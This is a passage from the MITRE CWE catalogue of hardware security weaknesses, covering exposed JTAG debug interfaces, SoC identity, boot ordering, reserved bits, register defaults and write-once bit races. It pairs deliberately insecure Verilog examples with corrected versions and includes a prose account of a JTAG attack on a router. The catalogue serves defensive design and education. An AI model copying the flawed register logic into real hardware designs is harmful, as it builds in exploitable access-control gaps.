[REF-1039]A. Theodore Markettos, Colin Rothwell, Brett F. Gutstein, Allison Pearce, Peter G. Neumann, Simon W. Moore and Robert N. M. Watson. "Thunderclap: Exploring Vulnerabilities in Operating System IOMMU Protection via DMA from Untrustworthy Peripherals". 2019 February 5. < https://www.ndss-symposium.org/wp-content/uploads/2019/02/ndss2019_05A-1_Markettos_paper.pdf >.

[REF-1040]Maximillian Dornseif, Michael Becher and Christian N. Klein. "FireWire all your memory are belong to us". 2005. < https://cansecwest.com/core05/2005-firewire-cansecwest.pdf >.

[REF-1041]Rory Breuk, Albert Spruyt and Adam Boileau. "Integrating DMA attacks in exploitation frameworks". 2012 February 0. < https://www.os3.nl/_media/2011-2012/courses/rp1/p14_report.pdf >.

[REF-1042]Maximillian Dornseif. "Owned by an iPod". 2004. < https://pacsec.jp/psj04/psj04-dornseif-e.ppt >.

[REF-1044]Dmytro Oleksiuk. "My aimful life". 2015 September 2. < http://blog.cr4.sh/2015/09/breaking-uefi-security-with-software.html >.

[REF-1046]A. Theodore Markettos and Adam Boileau. "Hit by a Bus:Physical Access Attacks with Firewire". 2006. < https://security-assessment.com/files/presentations/ab_firewire_rux2k6-final.pdf >.

CWE-1191: Exposed Chip Debug and or Test Interface With Insufficient Access Control

Weakness ID : 1191 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The chip does not implement or does not correctly enforce access control on the debug/test interface, thus allowing an attacker to exercise the debug/test interface to access a portion of the chip internal registers that typically would not be exposed.

Extended Description

Integrated circuits can expose the chip internals through a scan chain interconnected through internal registers etc., through scan flip-flops. A Joint Test Action Group (JTAG) compatible test access port usually provides access to this scan chain for debugging the chip. Since almost every asset in the chip can be accessed over this debug interface, chip manufacturers typically insert some form of password-based or challenge-response based access control mechanisms to prevent misuse. This mechanism is implemented in addition to on-chip protections that are already present. If this debug access control is not implemented or the access control check is not implemented properly, or if the hardware does not clear secret keys, etc., when debug more is entered, an attacker may be able to bypass on-chip access control mechanisms through debug features/interfaces.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619
PeerOf		1263	Insufficient Physical Protection Mechanism	1798

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	High
Confidentiality	Read Memory	High
Authorization	Execute Unauthorized Code or Commands	High
Integrity	Modify Memory	High
Integrity	Modify Application Data	High
Access Control	Bypass Protection Mechanism	High

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Implement an access control mechanism to exercise the debug interface in order to control and observe security-sensitive chip internals. Password checking logic should be resistant to timing attacks. Security-sensitive data stored in registers, such as keys, etc. should be cleared when entering debug mode.

Demonstrative Examples

Example 1:

A home, WiFi-router device implements a standard, login prompt, which prevents an attacker from issuing any commands on the device until appropriate credentials are provided. The credentials are secret, and they are not from the well-known list of poor credentials.

Example Language: Other *(bad)*

If JTAG interface on this device is not hidden by the manufacturer, it can be identified using tools such as JTAGulator. If it is hidden but not disabled, it can be exposed by using a soldering engine.

By issuing a halt command before the OS starts, the attacker pauses the watchdog timer and prevents the router from restarting (once the watchdog timer expires). Having paused the router, attacker sets breakpoints and is capable of stepping through operations and inspecting/injecting data in the device's memory. Through analysis of the extracted firmware from the device, attacker identifies the exact pattern to inject to the device memory. After injecting this pattern, attacker successfully launches a shell on the device.

JTAG is useful to chip manufacturers during design, testing, and production and is included in nearly every product. However, it also serves as a huge, potential, attack vector if it is exposed to an attacker. Appropriate measures need to be taken to prevent misuse of this powerful interface.

Example Language: Other *(good)*

In order to prevent exposing debug interface, manufacturers might try to obfuscate JTAG interface or deliberately blow fuses in the JTAG interface. Sometimes, they are hidden in inner layers of the board. If interface has to be exposed, adding access-control protection to this interface would also prevent misuse.

Observed Examples

Reference	Description
CVE-2019-18827	chain: JTAG interface is not disabled (CWE-1191) during ROM code execution, introducing a race condition (CWE-362) to extract encryption keys *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-18827*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1207	Debug and Test Problems	1194	2011

References

[REF-1037]Kurt Rosenfeld and Ramesh Karri. "Attacks and Defenses for JTAG". 2010 February. < https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=5406671 >.

[REF-1043]Gopal Vishwakarma and Wonjun Lee. "Exploiting JTAG and Its Mitigation in IOT: A Survey". 2018 December 3. < https://www.mdpi.com/1999-5903/10/12/121/pdf >.

[REF-1084]Gopal Vishwakarma and Wonjun Lee. "JTAG Explained (finally!): Why “IoT”, Software Security Engineers, and Manufacturers Should Care". < https://www.mdpi.com/1999-5903/10/12/121/pdf >.

[REF-1085]Bob Molyneaux, Mark McDermott and Anil Sabbavarapu. "Design for Testability & Design for Debug". < http://users.ece.utexas.edu/~mcdermot/vlsi-2/Lecture_17.pdf >.

CWE-1192: System-on-Chip (SoC) Using Components without Unique, Immutable Identifiers

Weakness ID : 1192 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The System-on-Chip (SoC) does not have unique, immutable identifiers for each of its components.

Extended Description

A System-on-Chip (SoC) comprises several components (IP) with varied trust requirements. It is required that each IP is identified uniquely and should distinguish itself from other entities in the SoC without any ambiguity. The unique secured identity is required for various purposes. Most of the time the identity is used to route a transaction or perform certain actions (i.e. resetting, retrieving a sensitive information, and acting upon or on behalf of), etc.

There are several variants of this weakness:

- A "missing" identifier is when the SoC does not define any mechanism to uniquely identify the IP.
- An "insufficient" identifier might provide some defenses - for example, against the most common attacks - but it does not protect against everything that is intended.
- A "misconfigured" mechanism occurs when a mechanism is available but not implemented correctly.
- An "ignored" identifier occurs when the SoC/IP has not applied any policies or does not act upon the identifier securely.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		657	Violation of Secure Design Principles	1287

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	High

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Every identity generated in the SoC should be unique and immutable in hardware. The actions that an IP is trusted or not trusted should be clearly defined, implemented, configured, and tested. If the definition is implemented via a policy, then the policy should be immutable or protected with clear authentication and authorization.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2008

CWE-1193: Power-On of Untrusted Execution Core Before Enabling Fabric Access Control

Weakness ID : 1193 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product enables components that contain untrusted firmware before memory and fabric access controls have been enabled.

Extended Description

After initial reset, System-on-Chip (SoC) fabric access controls and other security features need to be programmed by trusted firmware as part of the boot sequence. If untrusted IPs or peripheral microcontrollers are enabled first, then the untrusted component can master transactions on the hardware bus and target memory or other assets to compromise the SoC boot firmware.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		696	Incorrect Behavior Order	1348

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *An untrusted component can master transactions on the HW bus and target memory or other assets to compromise the SoC boot firmware.*	High

Potential Mitigations

Phase: Architecture and Design

The boot sequence should enable fabric access controls and memory protections before enabling third-party hardware IPs and peripheral microcontrollers that use untrusted firmware.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1196	Security Flow Issues	1194	2008

References

[REF-1042]Maximillian Dornseif. "Owned by an iPod". 2004. < https://pacsec.jp/psj04/psj04-dornseif-e.ppt >.

CWE-1209: Failure to Disable Reserved Bits

Weakness ID : 1209 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The reserved bits in a hardware design are not disabled prior to production. Typically, reserved bits are used for future capabilities and should not support any functional logic in the design. However, designers might covertly use these bits to debug or further develop new capabilities in production hardware. Adversaries with access to these bits will write to them in hopes of compromising hardware state.

Extended Description

Reserved bits are labeled as such so they can be allocated for a later purpose. They are not to do anything in the current design. However, designers might want to use these bits to debug or control/configure a future capability to help minimize time to market (TTM). If the logic being controlled by these bits is still enabled in production, an adversary could use the logic to induce unwanted/unsupported behavior in the hardware.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control Accountability Authentication Authorization Non-Repudiation	Varies by Context *This type of weakness all depends on the capabilities of the logic being controlled or configured by the reserved bits*	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Include a feature disable

Phase: Integration

Any writes to these reserve bits are blocked (e.g., ignored, access-protected, etc.), or an exception can be asserted.

Demonstrative Examples

Example 1:

An adversary may perform writes to reserve space in hopes to change the behavior of the hardware.

Example Language: Other *(bad)*

```
// Assume an IP has address space 0x0-0x0F for its configuration registers, with the last one labeled reserved (i.e. 0x0F).
Therefore inside the Finite State Machine (FSM), the code is as follows:
reg gpio_out = 0; //gpio should remain low for normal operation
case (register_address)
4'b1111 : //0x0F
begin
```

```
gpio_out = 1;
end
```

In the code above, the GPIO pin should remain low for normal operation. However, it can be asserted by accessing the reserved address space (0x0F). This may be a concern if the GPIO state is being used as an indicator of health (e.g. if asserted the hardware may respond by shutting down or resetting the system which may not be the correct action the system should perform).

Example Language: *(informative)*

```
reg gpio_out = 0; //gpio should remain low for normal operation
case (register_address)
//4'b1111 : //0x0F
default: gpio_out = gpio_out;
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	2009

CWE-1220: Insufficient Granularity of Access Control

Weakness ID : 1220 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product implements access controls via a policy or other feature with the intention to disable or restrict accesses (reads and/or writes) to assets in a system from untrusted agents. However, implemented access controls lack required granularity, which renders the control policy too broad because it allows accesses from unauthorized agents to the security-sensitive assets.

Extended Description

Integrated circuits and hardware engines can expose accesses to assets (device configuration, keys, etc.) to trusted firmware or a software module (commonly set by BIOS/bootloader). This access is typically access-controlled. Upon a power reset, the hardware or system usually starts with default values in registers, and the trusted firmware (Boot firmware) configures the necessary access-control protection.

A common weakness that can exist in such protection schemes is that access controls or policies are not granular enough. This condition allows agents beyond trusted agents to access assets and could lead to a loss of functionality or the ability to set up the device securely. This further results in security risks from leaked, sensitive, key material to modification of device configuration.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619
ParentOf	V	1222	Insufficient Granularity of Address Regions Protected by Register Locks	1740

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1212	Authorization Errors	2013

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control	Modify Memory Read Memory Execute Unauthorized Code or Commands Gain Privileges or Assume Identity Bypass Protection Mechanism Other	High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Phase: Testing

Access-control-policy protections must be reviewed for design inconsistency and common weaknesses. Access-control-policy definition and programming flow must be tested in pre-silicon, post-silicon testing.

Effectiveness = High

Demonstrative Examples

Example 1:

Consider a system with a register for storing AES key for encryption or decryption. The key is 128 bits, implemented as a set of four 32-bit registers. The key registers are assets and registers, AES_KEY_READ_POLICY and AES_KEY_WRITE_POLICY, and are defined to provide necessary access controls.

The read-policy register defines which agents can read the AES-key registers, and write-policy register defines which agents can program or write to those registers. Each register is a 32-bit register, and it can support access control for a maximum of 32 agents. The number of the bit when set (i.e., "1") allows respective action from an agent whose identity matches the number of the bit and, if "0" (i.e., Clear), disallows the respective action to that corresponding agent.

Example Language: Other *(bad)*

In the above example, there is only one policy register that controls access to both read and write accesses to the AES-key registers, and thus the design is not granular enough to separate read

and writes access for different agents. Here, agent with identities "1" and "2" can both read and write.

A good design should be granular enough to provide separate access controls to separate actions. Access control for reads should be separate from writes. Below is an example of such implementation where two policy registers are defined for each of these actions. The policy is defined such that: the AES-key registers can only be read or used by a crypto agent with identity "1" when bit #1 is set. The AES-key registers can only be programmed by a trusted firmware with identity "2" when bit #2 is set.

Example Language: *(mitigation)*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2008

CWE-1221: Incorrect Register Defaults or Module Parameters

Weakness ID : 1221 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Hardware description language code incorrectly defines register defaults or hardware IP parameters to insecure values.

Extended Description

Integrated circuits and hardware IP software programmable controls and settings are commonly stored in register circuits. These register contents have to be initialized at hardware reset to defined default values that are hard coded in the hardware description language (HDL) code of the hardware unit. Hardware descriptive languages also support definition of parameter variables, which can be defined in code during instantiation of the hardware IP module. Such parameters are generally used to configure a specific instance of a hardware IP in the design.

The system security settings of a hardware design can be affected by incorrectly defined default values or IP parameters. The hardware IP would be in an insecure state at power reset, and this can be exposed or exploited by untrusted software running on the system. Both register defaults and parameters are hardcoded values, which cannot be changed using software or firmware patches but must be changed in hardware silicon. Thus, such security issues are considerably more difficult to address later in the lifecycle. Hardware designs can have a large number of such parameters and register defaults settings, and it is important to have design tool support to check these settings in an automated way and be able to identify which settings are security sensitive.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	665	Improper Initialization	1293

Applicable Platforms

Language : Verilog *(Prevalence = Undetermined)*

Language : VHDL *(Prevalence = Undetermined)*

Technology : Technology-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control	Varies by Context *Degradation of system functionality, or loss of access control enforcement*	

Potential Mitigations

Phase: Architecture and Design

During hardware design, all the system parameters and register defaults must be reviewed to identify security sensitive settings.

Phase: Implementation

The default values of these security sensitive settings need to be defined as part of the design review phase.

Phase: Testing

Testing phase should use automated tools to test that values are configured per design specifications.

Demonstrative Examples

Example 1:

Consider example design module system verilog code shown below.register_example module is an example parameterized module that defines two parameters, REGISTER_WIDTH and REGISTER_DEFAULT. Register_example module defines a Secure_mode setting, which when set makes the register content read-only and not modifiable by software writes. register_top module instantiates two registers, Insecure_Device_ID_1 and Insecure_Device_ID_2. Generally, registers containing device identifier values are required to be read only to prevent any possibility of software modifying these values.

Example Language: Verilog *(bad)*

```
// Parameterized Register module example
// Secure_mode : REGISTER_DEFAULT[0] : When set to 1 register is read only and not writable//
/module register_example
s#(
parameter REGISTER_WIDTH = 8, // Parameter defines width of register, default 8 bits
parameter [REGISTER_WIDTH-1:0] REGISTER_DEFAULT = 2**REGISTER_WIDTH -2 // Default value of register computed from Width. Sets all bits to 1s except bit 0 (Secure _mode)
)
(
input [REGISTER_WIDTH-1:0] Data_in,
input Clk,
input resetn,
input write,
output reg [REGISTER_WIDTH-1:0] Data_out
);
reg Secure_mode;
always @(posedge Clk or negedge resetn)
if (~resetn)
begin
```

```
Data_out <= REGISTER_DEFAULT; // Register content set to Default at reset
Secure_mode <= REGISTER_DEFAULT[0]; // Register Secure_mode set at reset
end
else if (write & ~Secure_mode)
begin
Data_out <= Data_in;
end
endmodule
module register_top
(
input Clk,
input resetn,
input write,
input [31:0] Data_in,
output reg [31:0] Secure_reg,
output reg [31:0] Insecure_reg
);
register_example #(
.REGISTER_WIDTH (32),
.REGISTER_DEFAULT (1224) // Incorrect Default value used bit 0 is 0.
) Insecure_Device_ID_1 (
.Data_in (Data_in),
.Data_out (Secure_reg),
.Clk (Clk),
.resetn (resetn),
.write (write)
);
register_example #(
.REGISTER_WIDTH (32) // Default not defined 2^32-2 value will be used as default.
) Insecure_Device_ID_2 (
.Data_in (Data_in),
.Data_out (Insecure_reg),
.Clk (Clk),
.resetn (resetn),
.write (write)
);
endmodule
```

These example instantiations show how, in a hardware design, it would be possible to instantiate the register module with insecure defaults and parameters.

In the example design, both registers will be software writable since Secure_mode is defined as zero.

Example Language: *(informative)*

```
register_example #(
.REGISTER_WIDTH (32),
.REGISTER_DEFAULT (1225) // Correct default value set, to enable Secure_mode
) Secure_Device_ID_example (
.Data_in (Data_in),
.Data_out (Secure_reg),
.Clk (Clk),
.resetn (resetn),
.write (write)
);
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	2009

CWE-1222: Insufficient Granularity of Address Regions Protected by Register Locks

Weakness ID : 1222 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The product defines a large address region protected from modification by the same register lock control bit. This results in a conflict between the functional requirement that some addresses need to be writable by software during operation and the security requirement that the system configuration lock bit must be set during the boot process.

Extended Description

Integrated circuits and hardware IPs can expose the device configuration controls that need to be programmed after device power reset by a trusted firmware or software module (commonly set by BIOS/bootloader) and then locked from any further modification. In hardware design, this is commonly implemented using a programmable lock bit which enables/disables writing to a protected set of registers or address regions. When the programmable lock bit is set, the relevant address region can be implemented as a hardcoded value in hardware logic that cannot be changed later.

A problem can arise wherein the protected region definition is not granular enough. After the programmable lock bit has been set, then this new functionality cannot be implemented without change to the hardware design.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1220	Insufficient Granularity of Access Control	1735

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Other *System security configuration cannot be defined in a way that does not conflict with functional requirements of device.*	

Potential Mitigations

Phase: Architecture and Design

The defining of protected locked registers should be reviewed or tested early in the design phase with software teams to ensure software flows are not blocked by the security locks. As an alternative to using register lock control bits and fixed access control regions, the hardware

design could use programmable security access control configuration so that device trusted firmware can configure and change the protected regions based on software usage and security models.

Demonstrative Examples

Example 1:

For example, consider a hardware unit with a 32 kilobyte configuration address space where the first 8 kilobyte address contains security sensitive controls that must only be writable by device bootloader. One way to protect the security configuration could be to define a 32 bit system configuration locking register (SYS_LOCK) where each bit lock locks the corresponding 1 kilobyte region.

Example Language: Other *(bad)*

If a register exists within the first kilobyte address range (e.g. SW_MODE, address 0x310) and needs to be software writable at runtime, then this register cannot be written in a securely configured system since SYS_LOCK register lock bit 0 must be set to protect other security settings (e.g. SECURITY_FEATURE_ENABLE, address 0x0004). The only fix would be to change the hardware logic or not set the security lock bit.

CWE-1223: Race Condition for Write-Once Attributes

Weakness ID : 1223 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A write-once register in hardware design is programmable by an untrusted software component earlier than the trusted software component, resulting in a race condition issue.

Extended Description

Integrated circuits and hardware IP software programmable controls and settings are commonly stored in register circuits. These register contents have to be initialized at hardware reset to defined default values that are hard coded in the hardware description language (HDL) code of the hardware unit. A common security protection method used to protect register settings from modification by software is to make them write-once. This means the hardware implementation only allows writing to such registers once, and they become read-only after having been written once by software. This is useful to allow initial boot software to configure systems settings to secure values while blocking runtime software from modifying such hardware settings.

Implementation issues in hardware design of such controls can expose such registers to a race condition security flaw. For example, consider a hardware design that has two different software/ firmware modules executing in parallel. One module is trusted (module A) and another is untrusted (module B). In this design it could be possible for Module B to send write cycles to the write-once register before Module A. Since the field is write-once the programmed value from Module A will be ignored and the pre-empted value programmed by Module B will be used by hardware.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	793

Applicable Platforms

Language : Verilog *(Prevalence = Undetermined)*

Language : VHDL *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *System configuration cannot be programmed in a secure way.*	

Potential Mitigations

Phase: Architecture and Design

During hardware design all register write-once or sticky fields must be evaluated for proper configuration.

Phase: Testing

The testing phase should use automated tools to test that values are not reprogrammable and that write-once fields lock on writing zeros.

Demonstrative Examples

Example 1:

consider the example design module system verilog code shown below.
register_write_once_example module is an example of register that has a write-once field defined. Bit 0 field captures the write_once_status value.

Example Language: Verilog *(bad)*

```
module register_write_once_example
(
input [15:0] Data_in,
input Clk,
input ip_resetn,
input global_resetn,
input write,
output reg [15:0] Data_out
);
reg Write_once_status;
always @(posedge Clk or negedge ip_resetn)
if (~ip_resetn)
begin
Data_out <= 16'h0000;
Write_once_status <= 1'b0;
end
else if (write & ~Write_once_status)
begin
Data_out <= Data_in & 16'hFFFE; // Input data written to register after masking bit 0
Write_once_status <= 1'b1; // Write once status set after first write.
end
else if (~write)
begin
Data_out[15:1] <= Data_out[15:1];
Data_out[0] <= Write_once_status;
end
endmodule
```

The first system component that sends a write cycle to this register can program the value. This could result in a race condition security issue in SoC design, if an untrusted agent is running in the system in parallel with the trusted component that is expected to program the register.

Example Language: *(informative)*

Trusted firmware or software trying to set the write-once field.
- Must confirm the Write_once_status (bit 0) value is zero, before programming register. If another agent has programmed the register before, then Write_once_status value will be one.
- After writing to the register, the trusted software can issue a read to confirm that the valid setting has been programmed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	2009

CWE-1224: Improper Restriction of Write-Once Bit Fields

Weakness ID : 1224 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The hardware design control register "sticky bits" or write-once bit fields are improperly implemented, such that they can be reprogrammed by software.

Extended Description

Integrated circuits and hardware IP software programmable controls and settings are commonly stored in register circuits. These register contents have to be initialized at hardware reset to define default values that are hard coded in the hardware description language (HDL) code of the hardware unit. A common security protection method used to protect register settings from modification by software is to make the settings write-once or "sticky." This allows writing to such registers only once, whereupon they become read-only. This is useful to allow initial boot software to configure systems settings to secure values while blocking runtime software from modifying such hardware settings.

Failure to implement write-once restrictions in hardware design can expose such registers to being re-programmed by software and written multiple times. For example, write-once fields could be implemented to only be write-protected if they have been set to value "1", wherein they would work as "write-1-once" and not "write-once".

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619

Applicable Platforms

Language : Verilog *(Prevalence = Undetermined)*

Language : VHDL *(Prevalence = Undetermined)*

Technology : System on Chip *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability Access Control	Varies by Context *System configuration cannot be programmed in a secure way.*	

Potential Mitigations

Phase: Architecture and Design

During hardware design all register write-once or sticky fields must be evaluated for proper configuration.

Phase: Testing

The testing phase should use automated tools to test that values are not reprogrammable and that write-once fields lock on writing zeros.

Demonstrative Examples

Example 1:

Consider the example design module system verilog code shown below.
register_write_once_example module is an example of register that has a write-once field defined. Bit 0 field captures the write_once_status value. This implementation can be for a register that is defined by specification to be a write-once register, since the write_once_status field gets written by input data bit 0 on first write.

Example Language: Verilog *(bad)*

```
module register_write_once_example
(
input [15:0] Data_in,
input Clk,
input ip_resetn,
input global_resetn,
input write,
output reg [15:0] Data_out
);
reg Write_once_status;
always @(posedge Clk or negedge ip_resetn)
if (~ip_resetn)
begin
Data_out <= 16'h0000;
Write_once_status <= 1'b0;
end
else if (write & ~Write_once_status)
begin
Data_out <= Data_in & 16'hFFFE;
Write_once_status <= Data_in[0]; // Input bit 0 sets Write_once_status
end
else if (~write)
begin
Data_out[15:1] <= Data_out[15:1];
Data_out[0] <= Write_once_status;
end
endmodule
```

The above example only locks further writes if write_once_status bit is written to one. So it acts as write_1-Once instead of the write-once attribute.

Example Language: *(informative)*

```
module register_write_once_example
(
input [15:0] Data_in,
input Clk,
input ip_resetn,
input global_resetn,
input write,
output reg [15:0] Data_out
);
reg Write_once_status;
always @(posedge Clk or negedge ip_resetn)
if (~ip_resetn)
begin
Data_out <= 16'h0000;
Write_once_status <= 1'b0;
end
else if (write & ~Write_once_status)
begin
Data_out <= Data_in & 16'hFFFE;
Write_once_status <= 1'b1; // Write once status set on first write, independent of input
end
else if (~write)
begin
Data_out[15:1] <= Data_out[15:1];
Data_out[0] <= Write_once_status;
end
endmodule
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	2009

CWE-1229: Creation of Emergent Resource

Weakness ID : 1229 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The product manages resources or behaves in a way that indirectly creates a new, distinct resource that can be used by attackers in violation of the intended policy.

Extended Description

A product is only expected to behave in a way that was specifically intended by the developer. Resource allocation and management is expected to be performed explicitly by the associated code. However, in systems with complex behavior, the product might indirectly produce new kinds of resources that were never intended in the original design. For example, a covert channel is a resource that was never explicitly intended by the developer, but it is useful to attackers. "Parasitic computing," while not necessarily malicious in nature, effectively tricks a product into performing unintended computations on behalf of another party.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1291
ParentOf	C	514	Covert Channel	1086

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Operating_System : OS-Independent *(Prevalence = Undetermined)*

Architecture : Architecture-Independent *(Prevalence = Undetermined)*

References

[REF-1049]Wikipedia. "Parasitic computing". < https://en.wikipedia.org/wiki/Parasitic_computing >.

CWE-1230: Exposure of Sensitive Information Through Metadata

Weakness ID : 1230 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product prevents direct access to a resource containing sensitive information, but it does not sufficiently limit access to metadata that is derived from the original, sensitive information.

Extended Description

